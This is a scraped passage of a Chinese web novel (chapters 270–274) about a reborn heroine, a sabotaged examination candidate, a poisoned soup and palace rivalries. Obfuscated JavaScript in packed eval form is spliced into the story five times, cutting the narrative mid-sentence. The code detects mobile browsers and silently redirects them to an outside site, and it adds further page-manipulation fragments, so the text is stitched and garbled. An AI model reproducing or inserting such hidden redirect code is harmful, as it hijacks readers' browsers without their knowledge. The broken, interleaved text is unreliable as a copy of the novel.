“这是我特地为夫君准备的幸运汤,是用鸽子和名贵药材小火慢炖出来的。 为了做它,我从昨天晚上就开始忙活了,连觉都没睡好。 不信你看我的黑眼圈,都快垂到胸口了。” 闻如月娇嗔模样,三两下就给霍耀行盛了满满一碗汤,翘着兰花指递到霍耀行面前:“所以啊,耀行哥哥一定要把汤喝光!” 霍耀行闻着浓浓药味的汤,眼中闪过不耐烦:“我现在不渴不饿,这汤就不喝了。” “那怎么行。这可是我的一片心意,耀行哥哥您忍心辜负我吗?”闻如月嗲声嗲气,缠得霍耀行眉头直抽抽。 最后他忍无可忍,夺过碗随意喝了两口,就把碗塞回给闻如月。 “哎……怎么才喝这么一点啊!”闻如月嘟着嘴哼了哼,霍耀行已经撩起帘子下马车。 闻如月连忙放下碗,追了出去。 只可惜霍耀行人高腿长,很快就过了第一道关卡。 闻如月追不上,朝他挥着手,大声喊,“夫君,加油啊!此届状元非你莫属!” 霍耀行脚下一绊,离开的步子就更快了。 旁人好奇打量闻如月,议论纷纷:“原来她就是霍世子的夫人啊!长得可真水灵。” “气质也好。不愧能当上世子夫人。” 闻如月在议论声中渐渐昂扬起脖子。 一回头就看见了闻颜,她走了过去:“哟,这不是我的好妹妹闻颜吗?你怎么出现在这里? 哦,不会是你那个秀才夫君也要参加科考吧!” “是又如何?关你何事?你管得可真宽!”闻颜白她一眼,转身就要走。 闻如月绕到前方,拦住她的路,“哎,我的好妹妹,你别急着走嘛!你不如在这里等一等,说不定,用不了多久,你的穷酸夫君,就会被人从里面抬出来。” 前世便是如此。 应知林只在里面呆了一夜。 第二日拿到考题不久,他就因腹痛晕倒在号舍之中,最后被官兵抬了出来。 经此一事。 让他本就羸弱的身体,一日不如一日,最后草草送命。 还好,这一世嫁他的不是自己。 “而我的耀行哥哥,一定会拿下本次解元,就连明年的会元、状元也是耀行哥哥的囊中之物。 而你……”她还记得考题,只要提前告之耀行哥哥。 让他早做准备,小小状元,探囊取物一般简单。 闻如月身体前倾,嘲弄地看着闻颜,“而你的夫君,别说是解元,状元,他只怕连个举人都考不上。”不仅考不上,还是个短命鬼,不出三四年就会去地下,跟他短命的爹娘团聚。 至于闻颜。 应知林是个天阉,闻颜没有儿女傍身,松山村也容不下她,她除了回闻家,任由自己拿捏,她已无路可走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344311|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻颜现在已经是穷巷里的恶狗。 “闻颜,你从现在开始巴结讨好我还来得及,只要把我哄高兴了,将来让世子爷给他一个官当当,也不是不可能。” 应知雪和应知海,最讨厌闻如月说哥哥坏话。 以前为了嫁给哥哥,不惜用下作手段,有了更好的选择,又毫不犹豫地将大哥抛弃。 闻如月就是一个坏女人。 姐弟俩恨不得把闻如月盯出个洞来。 “聒噪!” 闻颜懒得听她**叫,直接笑眯眯地问道:“长姐如此关心我夫君的前程,莫不是对他余情未了?” 闻如月顿时脸色大变:“你有说什么,谁稀罕那个穷酸秀才!” “既如此,你这般关心别人的夫君做什么? 您要的香料找到了? 你脸上的墨迹洗干净了?” 闻颜一连三问。 闻如月气得双眼圆瞪,脸颊涨红,却因为脂粉太厚,别人根本看不出他的脸色变化。 她摸了摸,涂了厚厚脂粉的脸颊,也不知这个小**在墨水里加了什么,这么多天也还没洗掉。 闻颜见她吃瘪,带着应知雪姐弟离开。 次日,寅时正。 闻颜披衣站在窗前,听着贡院方向传来鸣炮声。 本界乡试,正式开考。 第一场考经义,考生们看完题后,有的蹙眉,有的沉思,有的继续大睡。 透着疲态的霍耀行轻轻呼出一口气,悬着的心终于落回实处。 这一界的科举试题,仍然未变! 前世,他获得解元的文章,在文人圈子里流传,赏析。 以至于他能将文章倒背如流。 答案浮现脑海。 他甚至不用深思,提笔就写了起来。 写着写着,他的腹部突然传来一阵绞痛。 霍耀行的脸,扭曲了一下。 又来! 昨日入了考场不久,霍耀行就开始腹部。 他庆幸那是开考之前,去了茅司也不会在试卷上盖戳。 经过一夜折腾,他又吃了带来的药丸,本以为今日能够安心考试,没想到腹中还是不得安生。 第270章:旧情难忘 最近这段时日,他的衣食住行都格外谨慎。 府中甚至请了太医,专门盯着他的膳食,就怕有人使坏。 唯一的意外,便是昨天下马车之前,闻如月给自己喝的那碗汤有问题。 千防万防,没想到竟被自己的结发妻子害了。 此时此刻,霍耀行生出悔意。 自己不该因为闻如月够蠢、好拿捏就娶了她。 跟聪慧沉稳的闻颜比起来,闻如月蠢得就像个跳梁小丑。 不过,也正是因为她够蠢,才更适合替她把持正妻的位置。 不过,敢坏他的好事,总得给她长长记性! 如此这般计划着。 霍耀行的腹部,再次传来巨痛。 霍耀行脸色一阵扭曲,猛地夹紧双腿,举起有事牌。 不一会儿,一位巡绰官和两名手持水火棍的军卒走了过来。 巡绰官识得霍耀行,对他很是客气:“你有何事?” “考生腹痛,想去如厕。” 巡绰官提醒道:“你当真要去,要是去了,考卷上可就要盖上出恭印。” 虽然出恭印并不影响成绩,但有些阅卷官很在意这个。 会在集体表决时,拿出来说事,影响其他考官对考生的印象。 巡绰官也是一片好意。 但腹痛难挡的霍耀行却觉得烦躁,随着他的肚子轰隆作响,他低斥一声:“你好生啰嗦!” 巡绰官神情一僵:“是本官多嘴了。” 他将一块出恭入敬牌递给霍耀行,就让军卒带他去了粪号。 而在另一区域的应知林,和他的一众同窗,全都在全神贯注的作题。 午时刚过,应知林就写完了第一场考卷。 他将答卷晾晒在一旁,便转过身,开始做今天的午食。 一捧熟米,加一把饼粒、一把肉丁、一把青菜丁,加适量的水,放在炉子上小火慢煮。 不一会儿,诱人的香气,便飘向考场的其他角落。 无数奋笔疾书的考生,都被香味吸引。 不一会儿。 又有几个舍号传出相似的香味。 是应知林的同窗,他们也答完试卷,开始做午饭了。 很快,整个考场便响起此起彼伏的咕噜声。 是那些学子们的腹中,唱起了空城计。 身体和心灵的双重折磨,让他们更加无心答题了。 别说是考生,就连看守的军卒,也馋得直咽口水。 要不是考场纪律严明,他们定会厚着脸皮分一碗尝尝。 相似的场景,在接下来的几天时有发生。 其他学生,本就答题辛苦了,还要被人这样引诱,一个个气得咬牙切齿。 到底是谁,竟然在考场做出如此香的食物! 千万别让他们逮到,否则定要捶爆他的狗头! 应知林他们忙着考试之时,闻颜也没闲着。 白夫人寻来不是普通的宫女嬷嬷,而是两名从宫中退下来的女官。 一位姓殷,一位姓荣。 两人在宫中就是好友,出宫之后,也不想分开。 两人腰背挺拔,仪态端方,自有一股气势。 二人保养得宜,看上去才三十出头,实则已经四十多岁了。 闻颜的见面礼仪很是标准。 白夫人招呼他们一起吃茶、闲聊,算是初步的双选。 两位女官对闻颜的初印象很好,接下来便说起正事。 闻颜要聘请教**‘净面娘子’的礼仪,以及一些紧急情况的应对之策。 暂定聘请她们一年时间,每月五十两的薪俸。 宫里退下来的女官,放在任何地方,都是抢着要的存在。 闻颜倒是想把二人永远留住。 只可惜,她现在的庙太小,不留不住她们。 白夫人又道:“二位先委屈一年,帮一帮我这义女。 一年之后,还要请二位返回孟家,盯着我那个皮猴儿一样的女儿。” 提到孟迟飞,殷、荣二人皆露出宠溺的笑容。 当天,闻颜就将二人接回了新铺子的后宅,由她们调教‘净面娘子’。 乡试连考三场,五天时间一晃而过。 闻颜提前租了五辆马车,提前候在贡院门外。 闻如月也来了。 这一回她倒是学聪明了,没敢凑到闻颜面前找骂。 两人各站一边,互不理睬。 等了半个时辰,贡院的门才缓缓打开。 考生一个个走了出来。 有的脚步踉跄,有的二三人互相支撑着往外走。 意气风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344312|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,精神奕奕的人寥寥可数。 很快。 陆续看见梧桐书院的学子,他们都像被吸干了精气一般。 身上还散发着长时间不洗澡的酸臭味道。 “快上车,一车坐七人,数量够了就先回宅子。 宅子里准备好了饭食和热水。” “多谢弟妹/嫂嫂准备药药丸,这次帮了我们大忙了。”天气炎热,他们都有中暑的迹象。 好在有闻颜准备的清心丸,才让他们没有大病,能够全副精力答题。 闻颜摆摆手:“快去吧。” 应知林从贡院出来,看见的就是这一幕。 他的眼珠子骨碌碌一转,原本笔直的脊背忽地一软,塌了下去。 抓皱衣裳,扒散头发,炯炯有神的眼睛半合着,让他瞬间从精神饱满,变得虚弱不堪。 他脚步沉重地走向闻颜。 闻颜连忙上前扶住他:“你没事吧。” 应知林挣扎着,试图自己站稳。 反而更加踉跄,仿佛随时都能倒下。 闻颜抓紧他的胳膊:“都什么时候了,别要面子了。走吧,我扶你上马车。” 应知林点点头:“有劳娘子了。” 闻颜扶着应知林坐上马车,交待佩儿在这边盯着,她先送应知林回去。 霍耀行看着缓缓驶离马车,脸色变得很是难看。 闻颜对她那个废物夫君,倒是体贴得很。 她还真是一点都不挑。 那个男人有什么好的? 家中一穷二白,连吃饭都成困难。 读书亦是不行,他甚至没听过此人名号。 长得也像相公倌里的男倌人。 就这等货色,闻颜竟然还一脸谄媚地侍候着。 霍耀行浑身不自在,仿佛被这二人拉低了档次。 果真是**。 “耀行哥哥,你在看什么?”耳边突然响起闻如月的声音。 霍耀行回头看向她。 他面无表情,深沉如渊的眼神中,看不出他真正的情绪。 闻如月嘟起嘴,撒娇道:“你在看闻颜对不对! 你看她和应知林在一起心里不舒服了? 你是不是还对她旧情难忘? 你既然喜欢他,当初为何要娶我!” 第271章:婆媳大战 闻如月声声质问。 霍耀行烦躁不已,他斜睨她一眼,眼神冰冷,低斥一声:“闭嘴。” 闻如月一怔。 眼眶里瞬间蓄满委屈的泪水,她颤抖着嘴唇,似要控诉什么,却在霍耀行冰冷的目光下,一个字都不敢多说。 霍耀行大步上了马车。 闻如月委委屈屈地跟了上去。 闻颜他们很快就回到宅子。 闻颜请了一位大夫,在宅子里坐镇。 她把应知林扶到正厅坐下,就连忙叫大夫给他把脉。 把脉岂不是露馅了?! 闻颜若知道自己骗她,生气事小,就怕她立即终止合约。 应知林把手伸了出去,虚弱道:“大夫,您仔细瞧瞧,我的身体没问题,只是连考几天太累了,只要我夫人好好照顾就能很快好起来,对不对!” 大夫观察应知林的脸色。 应知林朝他眨眼示意。 大夫也是个人精。 猜测小俩口吵了架,夫君在装病哄妻。 他虽觉得应知林妻奴了些,但也乐意帮忙。 当即就顺着应知林的话说了下去:“夫人,你夫君的身体确实没有大碍,可能是乡试让他压力过大,积郁在心,平时你多陪他说说话,聊聊天,说些让他开心的事,很快就能恢复如初。” 得知他的身体没有大碍,闻颜松了口气。 家人的陪伴,才是最好的心郁疗法。 还是叫知海姐弟多陪陪他吧。 就在此时,其余学子也陆续回来了。 他们看见闻颜,就拱手作揖。 闻颜吓得跳到应知林身后:“知林,你的同窗是不是考试考傻了!” 应知林脑海里只有闻颜叫自己名字时的声调。 又软又甜,连受惊劈叉的尾音都显得可可爱爱的。 应知林保护闻颜,瞪他们:“你们发什么疯,吓着我妻子了。” 其他人赶忙解释:“不是的,我们是想感谢弟妹,多亏了她准备的药丸和香包,让我们在考场上少遭很多罪。” 药丸有补气、避暑的。 香包是驱蚊虫的。 这些都在考场上发挥了重要作用。 应知林仿佛被赞扬的是自己,他得意地哼了一声:“现在知道我妻子有多厉害了吧!” 其他人连忙一串马屁奉上。 闻颜臊得浑身不自在。 她随意找了个借口,就离开了宅子。 这时候。 霍耀行的马车,也回到了津平侯府。 津平侯夫妻,已经等在大门口。 霍耀行跳下马车,侯夫人立即迎了上去,关切问道:“我的儿,发挥得怎么样?解元能拿一吗?” 霍耀行的脸色越发阴沉:“回去再说。” 侯夫人心里咯噔一下,有种不好的预感。 很快。 一家四口到了正厅。 津平侯道:“耀行,说吧,考试之时,到底发生了何事?” 霍耀行的眼刀子立即甩向闻如月:“你们问她吧,都是她干的好事。” 闻如月茫然极了:“夫君,我做错什么了?这几天我都大门不出,二门不迈,什么时候给你惹麻烦了。” “我进考场没多久,腹部就开始隐隐作痛,持续了一天一夜。 在进考场前,我只喝了你端给我的汤。” “你怀疑我在汤里加了东西?”闻如月大喊冤枉:“夫君,我们夫妻一体,我只会盼着你好,怎么可能害你。” “但我确实是喝了你的汤才开始腹痛,你如何解释?” 闻如月只觉得不可思议。 耀行哥哥自己发挥不好,竟把原因怪在她身上? 她正欲说什么,门外人影闪动。 伴随着一声娇笑,两道窈窕身影自门外走入。 竟是敬明媚和江柔儿。 江柔儿进屋之后,剪水秋瞳媚如丝地看向津平侯,一番缠绵纠缠之后,她才挪开目光,看向霍耀行。 霍耀行厌恶地别开目光。 敬明媚笑盈盈地道:“我听说大公子从贡院回来了。大公子的学识整个京城皆知,此次解元非你莫属,我是过来庆贺的!” 敬明媚说完,也不管屋中之人欢不欢迎,她抬手招了招。 她的侍女杜鹃,端着一个托盘走了进来,托盘里放着六个大元宝。 “六个大元宝,代表六六大顺。这可是我的一片心意,大公子你不会嫌弃的哦。” 他们这种人家,恭贺哪有直接送银子的? 莫非她在打发破落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第272章: 是她害死应知林 太医很快就来了。 闻如月也拿出了药方。 太医看完药方,重重地‘嘶’了一声。 津平侯立刻问道:“可是这药膳方子有问题?” “这确实是一个很好的补气方子,只是……”太医指着其中一味药,“这一味药本该是二钱,可这里写成了二两。 补身的良药就变成了害人的**! 少食腹泻不止,多食则会伤及根本,想要恢复如初,不仅要不计其数的名贵药材,还是一个旷日持久的过程。” 众人的目光,全都看向闻如月。 侯夫人更是失控地扑向她,对着她撕打拉扯:“好啊,果真是你! 你不过是个乡下长大的野丫头,你便是削尖了脑袋,也嫁不进我们这样的侯门府第。 是我儿喜欢你,非你不娶,我才勉强接受这门婚事。 可是你呢? 你是怎么报答我儿的? 你竟然在乡试这么重要的时刻害他,我打死你,我要杀了你!” 闻如月呆怔原地。 她喃喃摇头:“不可能!绝不可能! 前世她也给应知林做了同样的汤,他怎么没……” 她倏地住口。 前世她也做了同样的汤给应知林。 应知林因为天阉,一直不与她亲近。 不过在生活中还是很尊重她的。 她盛了满满一碗汤,他不想她难堪,就整碗全部喝光。 结果便是,他才拿到第一场考试的题目,就突然昏倒,被军卒抬了出来。 又因为没能及时送医,延误病情,使得他的身体彻底垮掉。 从此之后他日日泡在药罐里,但身体仍然日渐虚弱。 因此他才会在几年后…… 也就是说,前世会当上寡妇,都是自己一手造成的? 她的心底萌生一股悔意。 但她很快就把这点内疚按下去了。 应知林本就是个天阉,他就算不死,自己也要守一辈子活寡。 倒不如**干脆。 对!就是如此! 侯夫人贾氏指着闻如月,发疯一般大吼:“休了她!耀行,现在就休了她!” 这个该死的女人! 她知道自己的举动,造成多大的后果吗? 敬明媚越渐嚣张,最近更是快骑到她这个正妻头上作威作福。 她和耀行都指着连中三元,得了皇帝的青睐,彻底把敬明媚踢出局。 闻如月一点忙帮不上不说,还拖他们后腿! 她怎么不去**算了! 正厅里吵得不开交。 敬明媚飘然离去,深藏功与名。 半个时辰后。 天衣布庄,雅间。 闻颜慢悠悠地泡着茶,听敬明媚绘声绘色地说着霍家发生的一切。 “霍耀行因为闻如月的一碗汤,差点在贡院里腹泻到虚脱。你不知道,霍家人的脸色有多臭。 特别是贾氏,她一下副天塌了的样子,喊着嚷着要霍耀行休妻,别提有多搞笑了。” 嫁到霍家这么多年,今天是她最开心的时候。 敬明媚拍手称快。 闻颜倒了一杯茶水推到她面前,笑着道:“别激动,润润嗓子。” 敬明媚一口将茶水饮尽,奇怪道,“听见他们狗咬狗,你就开心吗?” “开心啊!”闻颜神情淡然,根本看不出真实情绪。 “不过,这只是一碟开味小菜,后面我还能让你看到更刺激的。” 敬明媚皱了皱鼻子,说道:“也不知闻如月是不是发了臆症,嘀嘀咕咕什么前世、应知林。” 闻颜眼目光闪了闪。 难道,前世的应知林也喝了同样的汤? 上次去同和堂给他号脉,林大夫说他身体健壮如牛。 当时她就怀疑,这么强健的身体,怎么会在三四年后突然死去。 现在终于找到答案了。 定是被闻如月的汤伤了根本! 啧啧啧! 前世的应知林,原来是让她害了! 闻颜打哈哈地遮掩过去:“许是刺激太大,让她脑子糊涂了?对了,你大哥那边怎么样了?” “你不提我差点忘了,这是我哥哥给你和孟小姐准备的谢礼,多亏你们的引荐,我哥哥才能为皇上办事。 现在的津平侯,已经不敢太欺压我和两个孩子。” 正因如此,津平侯才突然对霍耀行的科举仕途重视起来。 敬明媚见闻颜不愿多说,她便不再追问,只是拿出两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344314|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大的油纸包裹。 “这些蜀锦是今年最时新的颜色。”她拍了拍包裹,忽地又催促起江柔儿的事,“到底什么时候让江柔儿得偿所愿啊!” 那江柔儿心眼多得很,天天想方设法钻霍耀行的被窝。 敬明媚为了阻止她,斗智斗勇,怪心累的。 闻颜还是让她再等等:“这步棋我们都布局这么久了,当然要在最紧要的时候,发挥最大的价值。” 两次都栽在女人手里,津平侯还能对霍耀行予以厚望吗? 敬明媚:“你最好能快点,不然我早晚被她烦死。” 闻颜抿唇浅笑:“知道了,保准不会让你失望。” ** 乡试结束就是中秋。 考试期间,闻颜就准备好了节礼。 应知林兄妹三人,会在京城待到放榜。 人不回村,礼要送到。 闻颜准备了一大车节礼,考试一结束,就安排佩儿送回村里,让她回去跟母亲一起过节。 除此之外,闻颜特地烤了一些火腿月饼。 是她前世跟着霍耀行外放时,跟当地百姓学来的。 宅子里的学子都是异地过节,闻颜给他们送了些月饼,又送了些米面肉菜,让他们自己折腾宴席。 孟家也少不了,闻颜装了满满一大筐送过去。 闻颜又留了一份,给恭太妃送去。 那件吉服,闻颜重生之前就修补好了。 为了对付闻家,她等到回门之日才送去‘天衣布庄’。 是她利用了恭太妃的慈善,她送月饼过去,算是悄悄赔罪。 应知林拿着马鞭坐到车沿上:“我闲来无事,为你赶马车。” 佩儿回村了,闻颜身边确实没个可用的人,便同意了。 中途绕道去了一趟闻府,把闻岫云叫上。 江心葵得知要去公主府,本想厚着脸皮一同去。 不过被闻颜黑着脸赶下了马车。 很快就到了公主府。 恭太妃一听是闻颜,当即就叫人把姐妹二人请了进去。 恭太妃喜欢闻颜,对闻颜的月饼更是赞不绝口。 连带着对闻岫云也关照几分,赏了一根珍珠发簪当见面礼。 闻颜见状,心里就更愧疚了。 第273章:骂了一个多时辰 在公主府稍坐一会儿,两人就告辞了。 闻颜把闻岫云送回闻家。 路上,闻岫云哼了一声:“你心可真宽,竟然真的把我叫上。就不怕我在太妃面前抢了你的风头?” 闻颜呵呵笑一声:“能抢了去也是你有本事;抢不去就是你自取其辱。” “你倒是很自信。”闻岫云对闻颜眼睛不是眼睛,鼻子不是鼻子。 “不是我自信,而是你太笨。从小到大,你每次想抢我风头,一点心眼手段都没有,只会傻不拉几的苦练技术。 啧啧啧,你说,蠢成你这样我真的有防备的必要吗?” “啊……闻颜,我跟你没完!”闻岫云扑过去,揪住闻颜脸颊往两边拉扯,“嫁人也治不了你毒舌的毛病,今天我就让你知道知道我的厉害!” “闻岫云,我可是你二姐,你大逆不道,以下犯上,我拽散你的发髻。” 应知林听见内里的动静,忍不住勾起了嘴角。 闻颜还有这样活泼毒舌的时候。 果然,只有多多跟着她,才能了解更多的她。 闻岫云下马车的时候,对闻颜冷哼道:“别以为我会感激你,这次就当是那天晚上,你算计我给你做证人的谢礼了。” 闻颜脚痒,真想把她踹下去。 马车驶离闻府,应知林不解地问:“整个闻家,你为何独独帮闻岫云?” 闻颜想到闻岫云就忍不住笑:“当然是因为她够傻。 小时候跟我比绣工,比才情,整天把自己关在家中苦读诗书,苦练手艺。” 闻岫云回到闻家,还没来得及清洗换衣,就被丫鬟叫去了前院。 闻父紧张问她:“怎么样?你可见到恭太妃了?” 闻岫云摸了摸头上的珍珠发簪:“这是太妃娘娘赏给我的。” “也就是说,闻岫云已经入了恭太妃的法眼了。” 闻父很是高兴,叮嘱闻岫云以后好好表现,争取早上取代闻颜在恭太妃心中的位置。 “女儿谨记父亲教诲。”闻岫云与闻父好一副父慈女孝的场景。 江心葵在一旁气得咬牙切齿。 ** 佩儿回到松山村。 应族长得知应知林已经顺利考完试,重重松了一口气,这才给村子解禁。 专门守住老应家的人,也撤了回来。 应族长庆幸自己速度够快,他派人封村之时,老应家的人正想跑去京城捣乱。 这一大车节礼,除了匠人的固定分量,剩下的他平均分给每一户村民。 拿人手短。 那些对封村颇有微词的人都闭了嘴。 全村唯一不高兴的,只有老应家的人。 乔婆子插着腰,在家门口骂了一个多时辰,嗓子哑了才罢休。 老应家的大儿媳妇乔大双,一边给乔婆子捏肩,一边气乎乎地道:“娘,那应知林也太不是个东西了,难道就这样放过他不成?” 乔婆子气闷道:“考都考完了?还能怎么办?难不成我们还要上京告御状不成?” 应老三的媳妇,胡有珠的眼珠子滴溜溜一转,便唉声叹气道:“明日就是中秋节了,也不知小妹在外面怎么样了? 她有没有遇到危险,吃得饱不饱,穿得暖不暖,明日过节能不能吃上一顿好的!” 乔婆子想到在外生死不知的小女儿,刚刚才发泄完的火气,又噌噌地往外冒。 “不行,不能轻易放过那个天杀的祸患。 不是还没放榜吗?等放榜之日,我们去京城揭发他!” 时间一晃而过。 转眼就到了中秋之日。 京城格外的热闹。 闻颜带着应知林兄妹三人,去霜姨他们的住所一起过节。 人多热闹! 霜姨他们的住所,是城南平民区的一座二进院子。 闻颜和孟迟飞做生意,拿到第一笔分红,她就买下了此处。 当做她安身立命的根本。 院子很宽敞,房间很多。 霜姨带着青禾、立夏两位姐姐住在后院, 四位叔叔住在前院。 应知林没想到,闻颜还有这样的根据地。 晚霞满天之时,佳肴上桌,宴席开始。 大家一起举杯庆祝:“可惜林叔和田叔还在晋阳府,不然我们就算真正团聚了。” “没事的,等到春节,肯定会一个都不少。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344315|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那我们就一起为春节的团聚而努力。”大家一起碰杯。 整个晚宴的过程都愉快轻松。 晚饭后,他们一起出门看花灯会。 闻颜和虎叔走在最后。 闻颜道:“虎叔,你记得崔管事吗?” “天衣布庄的掌柜?当然认识啊,我们隔几天就会交货见一面的。” “不是他。”闻颜摇摇头,“是我们当初去救慧娘时,买走佩儿的那个中年男子。” “被我用网兜住,挂在树上淋了大半夜雨的那个?”虎叔一下就想起来了。 “就是他!”闻颜接着道,“我以前就跟你说过,那个崔管事有问题,现在我想让你潜伏到他身边去。” “这点小事,你就包在我身上吧。”虎叔拍着胸膛保证。 闻颜道:“那个崔管事狡猾得很,你多加小心。 还有,当初你说要把佩儿带回去,给傻子弟弟当媳妇,碰面之后他肯定问起,你就说家里太穷,把佩儿卖了换钱。家里活不下去了,你才厚着脸皮去找他。 你记住,要尽快取得他的信任,接触到他手下那些见不得光的买卖。” 而此时的霍家。 看在中秋节的份上,侯爷特许闻如月提前从祠堂里出来,全家一起吃团圆饭。 闻如月坐在镜前梳妆,她打量着镜中的自己。 脸上的墨迹又淡了许多,兰贵妃寿辰之前,应该能全部清除。 她问丫鬟:“兰花和香料有消息了吗?” 丫鬟顿时紧张起来:“还……还没有……” 她的脸色瞬间变得阴沉。 最近诸事不顺。 霍耀行对她生了埋怨。 公公嫌她碍了世子前程。 想要让霍耀行离不开自己,就要让自己变得更有价值。 所以。 她更要紧紧抓住兰贵妃这棵大树。 以后,她便是霍耀行的依靠。 “多找点人,就算把京城翻过来,也要把东西给我找到。” 八月二十一就是兰贵妃生辰。 随着时间的推移,闻如月越来越着急。 京城里关于兰贵妃生辰的议论也越来越多。 第274章:回娘家 只因,兰贵妃和兰家老太君在同一天生辰。 因为受宠,皇帝恩准兰贵妃可以回兰家半日,与老太君共同庆生。 但今时不同往日。 晋阳府的灾情爆出,兰纮入了大狱,现在还没个审理结果。 兰贵妃贬成兰妃,她今年还能得到恩赏,回娘家吗? 市井里议论着,宫里也没消停。 兰贵妃在御花园里散步。 皇帝昨儿晚上才跟她说,哥哥还在狱中,晋阳府的案子也没个结果,让她最近低调些。 免得惹来朝中大臣不快,以此来攻讦她的哥哥,让她哥哥再无翻身之日。 也就是说,她的生辰,不能像往年那般回娘家了。 这么多年下来,她都习惯在这一天回娘家了。 如今不能回去,让她郁郁寡欢。 行至一座假山后面,忽然听见有人说话:“你们说,兰妃今年生辰还能回娘家吗?” “她倒是想,可她敢吗? 她大哥本就摇摇欲坠,她还敢树敌?难不成是想送亲哥哥上断头台?” 一声娇笑:“她们一家都是自作自受,自寻死路。 以前仗着皇上的宠爱,在宫中为所欲为,不将我们放在眼里,现在也该到她自食恶果的时候了。” “相比起她现在收手,我更愿意看她继续张狂。 只有飞得越高,才会摔得越狠!” 其中一名妃嫔,朝假山方向看了一眼:“我倒觉得,真受宠不会被降位份。 只怕皇上也只当她是个逞手的玩意儿。 平时宠着也无妨,一旦惹得皇上心烦,扔了便是。 我敢打赌,此次皇上肯定不会准她回去。” 前面说的那些,兰玉都能忍。 后面说她不受宠,简直戳到她的逆鳞。 原本她已经打算咽下口气,今年就不出宫了。 偏偏这群不知死活的贱东西,舞到她面前。 她定要她们都知道,就算自己失了贵妃之位,仍是皇上最宠爱的女人。 这个宫,她还非出不可了! 她眼珠子滴溜溜一转,对宫女一番吩咐。 宫女小跑离开。 兰玉摇着缂丝团扇走了出去:“哟,在背后说我坏话呢?你们这么爱嚼舌根,就不怕口舌生疮!烂掉你们的舌头!” 兰玉突然出现,几人都吓了一跳。 他们紧张地站起来,下意识的害怕,后退。 “怕什么,她现在跟我们一样,都是妃位。” 害怕的几人,立即镇定下来,并反唇相讥。 兰玉冷笑:“即便我现在是妃位,想要收拾你们也不过是抬抬手指的事。 我要碾死你们,就像碾死几只蚂蚁一样简单。” “你们耻笑我,自己又是什么好东西?” 兰玉伸手一抓,揪住最近之人的发髻。 那人痛叫一声,身体后仰,愤怒地瞪着兰玉。 兰玉低着头,轻蔑嫉妒地看着她,仿佛她手里抓的不是皇帝的妃子,而是一只丑陋的杂毛鸡! “你还敢瞪我! 真当你家那点破事无人知道吗? 你娘出嫁之前,跟自己的表哥私定终身。 啧啧啧,你到底是你爹的种,还是你舅舅的种呢? 还有你们!” 兰玉指向另外一个人:“还有你……” 妃子被点中,慌了一下。 兰玉放了手中之人,一把薅住她的发髻,将她拽向自己,用只有两人才能听到的声音,说出一个名字:“倾碧。” 妃子一颤,眼中闪过惊恐。 兰玉恶劣一笑,缓声道:“你喜欢那个女人,对吗?” “你已经是皇上的妃子,却跟别的女人有了首尾,你猜,若是皇上知道了,会怎么对你?又会如何迁怒你的母族?” “你……你怎么会知道?”妃子不住的战栗,惊恐哀求地看着兰玉,“求你,不要说。” 兰玉松开她:“我就是想看着你死!” 妃子的眼神猛地一狠,突然冲上前来,狠狠推了一把。 兰玉料到她的袭击,余光往后瞄了一眼。 她嘴角上翘,躲也不躲。 顺着对方的推力,顺势倒在地上。 “啊……”她痛呼一声,捂住了脸,委委屈屈地控诉,“你为什么推我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 